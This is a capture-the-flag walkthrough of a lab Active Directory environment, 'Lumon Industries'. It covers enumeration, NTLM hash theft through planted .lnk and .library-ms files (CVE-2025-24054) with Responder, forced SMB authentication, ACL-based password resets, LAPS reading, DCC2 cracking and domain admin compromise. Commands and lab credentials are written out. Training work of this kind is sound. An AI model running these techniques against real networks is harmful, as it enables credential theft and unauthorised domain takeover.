HackSmarter Lumon Industries Walkthrough

Posted Jun 4, 2026

By Elmehdi Laassiri

9 min read

Scenario :

Lumon Industries will soon be integrating a high-value employee into the organization. In accordance with internal security protocols, a comprehensive penetration test and internal access verification must be conducted prior to full onboarding.

For the purposes of this evaluation, you will be provided the assigned credentials and access permissions corresponding to the subject employee. Your objective is to assess the scope and boundaries of these permissions, ensuring compliance with all Lumon security standards and operational safeguards.

Solution :

Initial Scan :

First i scanned the first machine , which is DC01 :

Looking at the open ports we can confirm that it is a DC (Kerberos , ldap , dns) .

Looking at the scan for the second machine , we find these open ports :

Looking at the scan results the first thing we should check is the web app .

Before we start let’s add the hostname , domain name to our /etc/hosts files , for both machines .

Since this an AD environment , i like to follow this quick checklist from my methdology :

  
Scan All TCP Ports : Check The useful note Down for more info .
Check ldap , rpc , smb with anonymous access . Check for Public Shares .
Find Usernames : Find usernames in Web Site and generate a Username List maybe . if you get access , Look for usernames using netexec , –rid-brute , –users and enumdomuser with RPC client .
Check usernames found with kerbrute .
Search for ASREP Roastable Users .
Once we have valid Creds : Check Kerberoastable users + Spray the password on all users .
Try to authenticate using every protocol .
Enumerate shares with those Users found . Use netexec to download .
Check Certipy for Vulnerable Templates if there is an ADCS in place .
If we get a Shell , try privesc , dump all Hashes using netexec or locally and store into a file .
If we can’t privesc , we can move to Blood Hound .

Now we can start enumerating the machines one by one starting with the First DC .

DC01 Machine :

We’re already given a set of credentials that we can use to enumerate the domain : hellyr:H3lenaR!2025

Usually i would start by testing these creds against all protocols , to see if we got Winrm access or RDP , admin via smb (Pwn4d!) then check the shares as well that our user has access to .

In our case the user has no admin privieleges , Winrm isn’t even open and Shares that exist are only the default ones .

Now second thing i like to do is get a list of usernames , we can do this easily now since we’ve got Valid Creds that we can use , then what i like to do is test for ASREPROASTING against all users , then check Kerberoastable users as well .

Now we test for ASREPROASTING , and kerberoasting :

No users are kerberoastable nor asreproastable.

Right now the only thing left will be BloodHound , to try and see if the user has any useful ACLs we can abuse . Steps to setup Bloodhound :

  
# To get the ZIP file :
nxc ldap $target -u 'hellyr' -p 'H3lenaR!2025' --bloodhound --collection All --dns-server $target
# To run BloodHound : 
https://bloodhound.specterops.io/get-started/quickstart/community-edition-quickstart
wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz
tar -xvzf bloodhound-cli-linux-amd64.tar.gz
sudo ./bloodhound-cli install
./bloodhound-cli resetpwd
Visit : http://localhost:8080/ui/login 

No Outbound object control , no interesting groups , We see a CA group , tried testing for template abuse using certipy but that didn’t work either.

Now let’s move to the Intranet machine , maybe we can find something there .

Intranet Machine :

First we check for the shares that we can access on this machine .

We find a new share ‘MDREPO’ that we have Read and Write permissions on. Always, if we have Write access to a share, think about uploading an .lnk file that will connect back to our machine so that we can steal a hash. If we see that there is a web server that hosts files from that share, we can always try and upload an ASPX reverse shell or just a webshell (depends on the technology used, but since it’s Windows it’s most probably going to be ASP or ASPX). After that, we can execute it and get a shell as the web server user in some cases.

Now with this in mind let’s connect to the smb share .

We found a pdf file , and url link , the pdf files explains to employees how they can login to the company’s portal , if we visit that Url , we get the same portal :

We know how to login (noted in the pdf file) , and we already got a valid set of creds that we can use to try and login to the portal .

Once we login as the hellyr user , we find a static page , nothing to work with here . Let’s try and upload the ink file to steal the NTLM Hash , to do this we can use a tool called ntlmtheft .

  
https://github.com/Greenwolf/ntlm_theft
git clone https://github.com/Greenwolf/ntlm_theft.git
cd ntlm_theft
python3 ntlm_theft.py --generate modern --server tun0 --filename "Please_Clickit"     

Now we put those files inside the share :

And finally we launch Responder to try and Steal the hashes .

sudo responder -I tun0    

Sadly we got no Hashes …

I also found this new way of stealing hashes via Write permissions over an smb share , a new CVE discovered in 2025 : When a .library-ms file with a UNC path is opened (or previewed) in Windows Explorer, it triggers an SMB authentication request to the specified server, leaking the NTLMv2 hash.

https://github.com/helidem/CVE-2025-24054_CVE-2025-24071-PoC

Now just like before we need to put this file inside the share and wait for Responder to capture the hash of the user who opens that file .

Perfect , we were able to capture a Hash finally . Now we can use John or Hashcat to crack it .

And we are able to get the password for the user Harmonyc : h@rmony08

looking at BloodHound , we don’t find any outbound object control , but we find a non default group .

Let’s try to login via the portal with this new user , since we didn’t find anything that we can exploit , and the user can’t Winrm since he isn’t part of the Remote management group .

This time we find an admin panel which we didn’t have on the hellyr user .

On the admin panel we find this Ping feature as well as the ability to browse file Shares , ALWAYS whenever we can access shares , the first thing we should think of is reaching out to ourselves and trying to capture the Hash using responder .

First, set up Responder, by default it will spin up an SMB server and start listening. Then we call our share \\\\Share from the Browse feature, which will force the target to authenticate back to us, capturing the hash.

Four \ didn’t work so i tried only with \ and it worked perfectly :

Now that we’ve got the Hash we can try to crack it .

Perfect , we’ve got a new set of credentials : IntranetSvc/Servicesince1979 :

No Winrm access as well , let’s check Bloodhound for ACLs .

Perfect our user can change passwords for all these users , let’s take a look at these users to see which ones have high privileges that we can abuse .

We find that the user MARKS is a member of the LAPSAdmin group, which means we can read LAPS passwords. Using BloodyAD we can change his password, and from there use nxc to read the LAPS passwords.

  
Keep in mind $target is for the DC Not Intra machine.
bloodyad --host $target -d 'LUMONS.HACKSMARTER' -u 'IntranetSvc' -p 'Servicesince1979' set password 'MARKS' 'WEAK123.' 

Perfect , now we can read LAPS passwords using nxc module –laps .

We couldn’t read the LAPS password for the local admin on the DC but we were able to get the Password for the user localadmin on the Inra machine .

We can tell from the nxc output that we can’t authenticate to the domain with this account , only locally. That’s why it only works when we add –local-auth, which tells nxc to authenticate locally rather than against the domain.

As we can see we are able to login to the machine via rdp as the local admin , once we do that we can add our user MARKS to the admin group and dump all the Hashes , since we couldn’t do that via nxc earlier.

Now let’s launch a terminal as administrator and add our user mark to the local admin group .

Perfect , now let’s dump the hashes .

We got the DCC2 Hash for the Hellye user , from BloodHound i saw that he was part of Tier0 users .

The DCC2 hash is the hash the machine caches whenever a domain user logs in locally. We can’t use it to authenticate over the network via SMB, LDAP, etc. So the only option is to crack it offline.

We can try to Crack the DCC2 Hash since we can’t really use it for a Pass the Hash attack. (Mode for DCC2 Hash is 2100)

hashcat -m 2100 Helly.DC02 /usr/share/wordlists/rockyou.txt

Finally , we crack it , takes a while so don’t worry if it takes too long . Now with the password , we can authenticate to the domain and dump ntds hashes since we are Domain Admin now .

I tried getting a shell using impacket tools , smbexec , wmiexec , even used the newer version for wmiexec , but nones of them worked .

Eventually i just RDP using the Hellye user , for the Flag :

Login to Intranet to get the user flag on the MARKS desktop (he was the first user we found who could Winrm to the Intranet so i assumed it will be there )